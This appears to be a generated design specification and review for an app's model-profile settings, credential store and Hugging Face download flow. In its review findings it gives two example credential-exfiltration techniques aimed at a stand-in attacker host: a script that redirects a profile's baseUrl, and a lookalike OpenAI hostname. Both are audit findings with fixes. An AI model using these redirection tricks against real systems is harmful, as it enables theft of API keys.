title: "Models, settings and credentials" description: "Named model profiles across five providers, OS-encrypted credentials, the models folder and Hugging Face downloads." nodes: 40 progress: 75% generated: ohm spec editor#

Models, settings and credentials#

Named model profiles across five providers, OS-encrypted credentials, the models folder and Hugging Face downloads.

Contents#

☑ Overview#

☑ Scope#

note

packages/core/src/{settings,models,ai,llamacpp}.ts, the secret store in engine-api/engine-electron, the settings UI (apps/ui/src/components/SettingsPane.tsx) and the in-renderer web-model worker (apps/ui/src/webai/).

☑ One profile list, five providers#

decision

Everything that generates text goes through a named model profile. The name is the primary key, the unit the UI edits, the thing scripts select with ai.generate(p, { profile = "…" }), and the key credentials are filed under.

Providers: anthropic, openai (any OpenAI-compatible endpoint), ollama, llamacpp (embedded), web (transformers.js in the renderer).

☑ Settings#

☑ Stored settings#

data-model

<userData>/settings.json, written atomically (temp file + rename):

{
  activeProfile: string,        // defaults to 'Claude' if an Anthropic env key exists, else 'Ollama'
  profiles: ModelProfile[],
  modelsDir: string,
  activeProject: string | null,
  graphProfiles: Array<{ name, types: string[] }>,
}

The wire type adds three derived fields and never adds a secret: scriptsDir (env-only, not stored), hasHfToken, secureStorage.

There is no schema version and no migration path — worth adding before the format changes in the wild.

☑ Profile invariants#

requirement

  • At least one profile always exists (deleting the last one is refused).

  • activeProfile always names an existing profile; deleting the active one re-points it at profiles[0].

  • Names are trimmed, non-empty, ≤ 80 characters, unique.

  • Renaming migrates the credential (profile:<name>:apiKey) and retargets activeProfile. Forgetting this silently orphans an API key.

  • clean() coerces numbers, drops undefined keys so they never reach disk, and validates provider against the provider list.

  • node: settings-model

  • node: risk-validation

☑ Changes are broadcast#

requirement

Saving settings notifies in-process listeners and emits settings.changed. The composition root uses this to keep the ohm-models:// scheme pointed at the current models folder, so changing the folder takes effect without a restart.

  • spec: 01-engine-and-shell

☑ Providers#

☑ Common profile fields#

api

{ name, provider, model, baseUrl?, temperature?, maxTokens?, system?,
  // provider-specific:
  gpuLayers?, contextSize?,   // llamacpp
  device?, dtype?,            // web
  hasApiKey?                  // read-only, set by the server
}

☑ anthropic#

component #gotcha

The official SDK. Client cached per apiKey|baseUrl. Uses the beta Messages API with betas: ['server-side-fallback-2026-07-01'] and fallbacks: 'default'. maxTokens defaults to 16000.

temperature is suppressed for models matching /opus-5|fable|mythos|sonnet-5|opus-4-[78]/ — those models reject it. A stop_reason of refusal is raised as an error rather than returned as empty text.

☑ openai (OpenAI-compatible)#

component

POST <baseUrl>/chat/completions with a Bearer token when a key exists; baseUrl defaults to https://api.openai.com/v1 with trailing slashes stripped. Works with OpenAI, LM Studio, vLLM, the llama.cpp server, OpenRouter and Groq.

☑ ollama#

component

POST <baseUrl>/api/chat with stream: false, mapping temperature and maxTokens onto options.temperature/options.num_predict. baseUrl defaults to http://127.0.0.1:11434, seeded from OLLAMA_HOST when present.

☑ llamacpp (embedded)#

component

node-llama-cpp imported dynamically, so the native binary is never touched until a llama.cpp profile is used. model is a GGUF path resolved against the models folder when relative.

  • gpuLayers: 'auto' | 'max' | a non-negative number (anything else → auto).

  • One model + context loaded at a time, keyed modelPath|gpuLayers|contextSize; changing the key unloads and reloads.

  • All requests are serialised through a promise chain — exactly one generation at a time.

  • Callers must unload it before the models folder changes or a model file is deleted.

  • spec: 13-packaging

  • node: risk-llama-cache

☑ web (transformers.js)#

component

Runs in the renderer, in a module Web Worker, because WebGPU exists there and not in the main process. Core mints a request id, emits webai.request, and waits up to 15 minutes for webai.respond.

  • device: webgpu (default) | wasm | webnn; capabilities are pre-checked ('gpu' in navigator, 'ml' in navigator) so the user gets "WebGPU is not available, try wasm" instead of a library stack trace.

  • Weights: env.localModelPath = 'ohm-models://local/' with remote models also allowed, so the local folder is tried first and the Hub is the fallback.

  • The ONNX Runtime wasm artefacts are bundled and pinned via env.backends.onnx.wasm.wasmPaths — nothing is fetched from a CDN.

  • WebNN needs Chromium's WebMachineLearningNeuralNetwork feature flag, which the app sets at startup.

  • Core must fail cleanly ("Web models need the browser UI") when no renderer is attached.

  • spec: 01-engine-and-shell — ohm-models:// and the CSP

☑ Dispatch is exhaustive#

requirement

generate(prompt, options) resolves a profile (explicit name → legacy provider kind → active profile), lets per-call model/system/maxTokens/temperature override it, rejects an empty model, then switches on the provider with no default branch — so adding a provider is a compile error until every site handles it.

  • node: profiles

☐ No streaming, no cancellation#

note

Every provider is request/response: generate returns Promise<string>. Anthropic uses the non-streaming API, Ollama sends stream: false, llama.cpp is called without a chunk callback, and the web worker posts one result message.

The only incremental feedback anywhere is web-model loading progress and model download progress. There is no AbortSignal threaded into any provider, so a generation cannot be cancelled — experiments cancel between cases, and stopping a script kills the worker while the in-flight host call completes and is discarded.

This is a deliberate simplification, and the first thing to revisit for a chat UI.

☑ Library, remotes and the editor#

☑ The library#

data-model

LibraryEntry { name, kind: 'prompt' | 'function', body, description?, tags?, builtin? }, stored in settings. Built-ins ship in packages/core/src/library.ts and stored entries are layered over them, so an edited built-in keeps its flag and deleting it restores the shipped version.

A prompt is text with {{variables}}; a function is Lua source that must evaluate to a function. Scripts reach them through lib.use (loads and caches a function), lib.run (renders a prompt and generates, or calls a function) and lib.render.

  • spec: 02-ohm-language

☑ Remote endpoints#

data-model

RemoteEndpoint { name, baseUrl, auth, headerName?, readPath?, writePath?, listPath?, writeMethod?, listField? } — a REST service addressed like a filesystem under a nickname. {path} and {dir} are substituted into the templates; listField walks into the response (data.items) because no two services agree on shape.

The credential lives in the secret store as remote:<name>:token and is attached as a bearer token, a named header or basic auth. Renaming an endpoint migrates it, the same rule model profiles follow.

  • node: secrets

☑ The master switch is a stop, not a preference#

requirement #safety #security

remotesEnabled defaults to off, and every remote call checks it before resolving the endpoint — so with it off nothing is sent, nothing is resolved and no connection is attempted. The failure names the switch: "Remote endpoints are switched off (Settings → Remote). Nothing was sent."

This is the one control a user can check before running a script they did not write, so it must never be bypassable by a script.

  • node: remotes

☑ Editor settings#

data-model

EditorSettings { completion, operators, hostApi, library, snippets, hover, signatureHelp, diagnosticsMs }. The renderer pushes these into the Monaco providers whenever settings change, so a toggle takes effect without a reload, and diagnosticsMs is the debounce before syntax errors are recomputed (0 = every keystroke, clamped to 5 s).

  • spec: 03-scripts

☑ Credentials#

☑ Secrets never cross a boundary#

requirement #security

Credentials live in <userData>/secrets.json as base64 blobs encrypted by the OS (DPAPI on Windows, Keychain on macOS, libsecret on Linux), keyed profile:<name>:apiKey and hf:token.

  • The protocol has no method that returns a secret. The UI sees only hasApiKey, hasHfToken and secureStorage booleans; it can write a key or clear it, never read one.
  • Scripts see hasApiKey and can create or edit profiles, but there is no host function that reads or writes a credential.
  • settings.json never contains a key — pinned by a test.
  • When the OS offers no encryption, set throws rather than storing plaintext, and the UI disables the key fields and says why.
  • Decryption failure returns null (a key silently "disappears" after an OS profile change) rather than throwing.

☑ Environment fallbacks#

api

Checked after the stored secret: ANTHROPIC_API_KEY / ANTHROPIC_AUTH_TOKEN, OPENAI_API_KEY (only when the base URL is empty or points at OpenAI), HF_TOKEN. Model defaults also read OHM_CLAUDE_MODEL, OHM_OLLAMA_MODEL and OLLAMA_HOST.

☑ Threat model#

note

Defended: a stolen settings.json or config backup; a compromised or buggy renderer (sandboxed, context-isolated, no protocol method returns a secret); a malicious script reading credentials; another OS user or offline disk theft.

Explicitly not defended: any code running as the same user can call the OS decrypt API on secrets.json — the encryption is user-scoped, not app-scoped; and a key placed in an environment variable is visible to every child process.

  • node: secrets
  • node: risk-redirect

☑ Models folder and Hugging Face#

☑ Folder layout and listing#

data-model

Downloads mirror the Hub path: <modelsDir>/<owner>/<repo>/<file path>.

list() walks up to 6 levels deep, skipping dot-directories and *.part files, and recognises two kinds:

  • gguf — any *.gguf not inside an ONNX folder;
  • onnx — a directory containing config.json and either an onnx/ subdirectory or any *.onnx file; its size is the recursive total, and GGUF entries found underneath are absorbed into it.

Paths are returned relative and /-separated, sorted.

☑ Every path is validated twice#

requirement #security

A repo must match owner/name; a file path must have no absolute prefix, no .. segment and no empty segment; and the resolved destination is re-checked to be inside the models root before any write or delete. Deleting the models folder itself is refused.

☑ Download#

flow #regression

  1. Fetch the repo tree (/api/models/<repo>/tree/main?recursive=true), verify every requested file exists, and sum sizes — preferring lfs.size over size, because the Hub reports the pointer size for LFS objects.
  2. Per file: skip if the destination already exists at exactly the expected size; otherwise write to <dest>.part, sending Range: bytes=<partial>- when a partial exists.
  3. Decide append-vs-truncate from the response, not the request: only a 206 Partial Content appends. A server that ignores Range then restarts the file correctly instead of corrupting it.
  4. Rename .part over the destination on completion.
  5. Progress is throttled to one event per 250 ms, with forced events at file boundaries and at the end.

A Hugging Face token, when present, is attached to both the API and the CDN redirect, and 401/403 becomes "Access denied (gated model? set a Hugging Face token in Settings)". Cancellation aborts both the fetch and the write pipeline.

☑ Automation scripts#

flow

Four seeded .ohm scripts under models/ drive the whole flow from the language: list-models, download-gguf (finds the first file matching a quant, downloads, creates a llamacpp profile pointing at the models-folder-relative path, then generates), download-web-model (selects the config/tokenizer files plus onnx/model_<dtype>.onnx*, creates a web profile keyed by repo id), and compare-profiles (runs one question across every configured profile concurrently, timing each).

Script surface: models.dir/list/search/files/download. download is the only blocking one. There is deliberately no script API for deleting models, changing the models folder or setting the HF token.

  • spec: 02-ohm-language
  • spec: 03-scripts

☑ Review findings#

☐ A script can redirect a stored credential#

risk urgent #security

Credentials are bound to a profile name, while the endpoint is a mutable field of that profile. A script may call ai.saveProfile{ name = "Claude", baseUrl = "https://attacker.example" } — the merge keeps profile:Claude:apiKey — and the next generation ships the stored key to that host. Scripts cannot read a key, but they can use and redirect one, and scripts are importable from a folder.

Fix: clear a profile's secret when its baseUrl changes, or forbid script edits to baseUrl/provider on profiles that own a stored key.

  • node: secrets

☐ api.openai.com is matched by substring#

risk urgent #security

The check for "is this really OpenAI" uses includes('api.openai.com'), so https://api.openai.com.attacker.example/v1 passes and the OPENAI_API_KEY environment fallback is sent to it as a Bearer token. Parse the URL and compare the hostname.

☐ A failed llama.cpp load is cached forever#

risk high

this.llama ??= import('node-llama-cpp')… only assigns when the field is nullish, and a rejected promise is not nullish. If the native binary is missing on first use, every later request in that process fails with the same stale error even after the user fixes the installation; only a restart recovers. The model load() path does clear itself on failure — the same should apply here.

  • node: llamacpp

☐ Unload can race a running generation#

risk high

unload() is called straight from the RPC handlers for "change models folder" and "delete model", while generate serialises only through its own queue. Deleting a model mid-generation can dispose the context out from under the running prompt. The unload should go through the same queue.

  • node: llamacpp

☐ A web-worker crash hangs a request for 15 minutes#

risk high

The renderer terminates the worker on onerror but never answers the in-flight request, so core waits out the full timeout. Unmounting the hook strands requests the same way. Track outstanding ids and reject them on worker error and on unmount.

  • node: web-models

☐ The downloads map is never pruned#

risk

Finished, failed and cancelled downloads accumulate for the life of the process and are all returned by allDownloads(); the UI merges them into a dictionary that likewise never shrinks. The Downloads list never clears and memory grows.

  • node: download

☐ device and dtype are unvalidated#

risk

clean() passes device and dtype through as free strings although the protocol declares 'webgpu' | 'wasm' | 'webnn'. A typo reaches the worker and produces a library-level error instead of a settings error. Validate against the union on save.

☐ Ollama’s API key is stored but never sent#

risk

The settings UI offers an optional key field for Ollama and stores it, but the Ollama request sends no Authorization header. Anyone running Ollama behind an auth proxy finds this silently broken — either send the header or hide the field.

☐ Smaller observations#

note low

  • deleteProfile does not check that the profile exists: a typo deletes nothing, deletes that name's secret, and still commits and notifies.
  • MemorySecretStore.secure is true, so a headless embedding stores secrets in plaintext while telling the UI storage is secure.
  • LlamaCppProvider.info() is unreachable from the protocol and from scripts.
  • LocalModel declares a kind 'other' that list() never emits.
  • The profile form resets only when the selected profile's name changes, so a settings.changed that alters the current profile's fields leaves stale values in the form.
graph LR
  profile_invariants["Profile invariants"] -.-> settings_model["Stored settings"]
  profile_invariants["Profile invariants"] -.-> risk_validation["device and dtype are unvalidated"]
  llamacpp["llamacpp (embedded)"] -.-> risk_llama_cache["A failed llama.cpp load is cached forever"]
  dispatch_is_exhaustive["Dispatch is exhaustive"] -.-> profiles["One profile list, five providers"]
  remotes["Remote endpoints"] -.-> secrets["Secrets never cross a boundary"]
  the_master_switch_is_a_stop_not_a_preference["The master switch is a stop, not a preference"] -.-> remotes["Remote endpoints"]
  threat_model["Threat model"] -.-> secrets["Secrets never cross a boundary"]
  threat_model["Threat model"] -.-> risk_redirect["A script can redirect a stored credential"]
  risk_redirect["A script can redirect a stored credential"] -.-> secrets["Secrets never cross a boundary"]
  risk_llama_cache["A failed llama.cpp load is cached forever"] -.-> llamacpp["llamacpp (embedded)"]
  unload_can_race_a_running_generation["Unload can race a running generation"] -.-> llamacpp["llamacpp (embedded)"]
  a_web_worker_crash_hangs_a_request_for_15_minute["A web-worker crash hangs a request for 15 minutes"] -.-> web_models["web (transformers.js)"]
  the_downloads_map_is_never_pruned["The downloads map is never pruned"] -.-> download["Download"]